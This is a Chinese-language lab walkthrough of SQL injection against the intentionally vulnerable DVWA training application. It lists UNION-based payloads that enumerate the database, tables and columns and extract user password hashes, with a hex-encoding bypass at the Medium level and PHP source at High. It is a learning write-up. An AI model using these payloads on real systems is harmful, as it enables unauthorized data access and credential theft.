LOW
判断注入是否存在
1' order by 2 #
1' order by 3 #
2的时候正常回显,但是3的时候报错,证明存在两个回显点,查询数据库
1' union select 1,database() #
查到数据库之后查询,查表名
1 union select 1,table_name from information_schema.tables where table_schema=database() #
两张表,先查表里的字段语句一样,改一下表名就行
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
查看user和password,不过是MD5加密需要自己去解密一下
1' union select user,password from dvwa.users #
Medium
老规矩试一下,发现‘被转义了
1‘order by 1
那就不是字符型注入,尝试一下数字型注入
我们发现有回显了,那就按照LOW等级的一样操作即可,查看数据库
1' union select 1,database() #
查表名
1 union select 1,table_name from information_schema.tables where table_schema=database() #
查uesr里有什么,这里对user和dvwa进行了十六进制转码
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
看看user ,这里自己去转码一下得到结果
1' union select user,password from dvwa.users
High
这里直接分析一下源码
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
high实在太难了,只能去网上参考大佬文章一步一步来,通过DVWA学习SQL注入漏洞_tdl17703438791的博客-CSDN博客
谢谢大佬了